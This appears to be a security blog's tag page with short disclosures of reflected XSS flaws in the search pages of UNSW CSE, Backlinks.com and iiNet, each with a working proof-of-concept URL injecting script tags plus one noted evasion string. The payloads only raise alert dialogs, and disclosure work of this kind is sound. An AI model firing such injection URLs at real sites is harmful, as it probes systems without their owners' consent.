The staff search page does not sanitise the input of the ID field allowing an XSS attack to be executed.
Code:
|
1 2 |
http://www.cse.unsw.edu.au/db/staff/staff.php ?ID="><script>prompt(42)</script> |
Posts Tagged ‘search’
CSE.UNSW.EDU.AU XSS Vulnerability
08
Sep
2014
Backlinks.com XSS Vulnerability
03
Sep
2014
The help document search form on Backlinks.com does not correctly sanitise user input allowing an XSS attack to be executed.
The follow symbols are converted to to their URL encoded counterparts: ‘<‘, ‘>‘, ‘/‘
Evasion string used (before encoding):
/><script>alert(/XSS/)</script>
|
1 2 3 |
http://www.backlinks.com/kb/index.php/search ?search=1 &searchtext=%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E |
iiNet.net.au XSS Vulnerabilities
06
Oct
2012
iiNet, a major ISP in Australia seems to be a little less secure than they claim they are. After merely searching for XSS vulnerabilities on their website for 5 minutes, I had found these two vulnerabilities. Two non-persistent vulnerabilities, one surprisingly located in iiNet’s main search page.
Here is the main search page vulnerability:
Code:
|
1 |
http://www.iinet.net.au/search/?q=%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&search=Search&scope=site |
This is another vulnerability on the iiNet Freezone main page:
Code:
|
1 |
http://freezone.iinet.net.au/index/search?searchValue="><script>alert(String.fromCharCode(88, 83, 83))</script>&submit.x=22&submit.y=15 |
I have reported the above vulnerabilities to iiNet and have gotten no response. Hopefully they will fix the vulnerabilities in the near future.
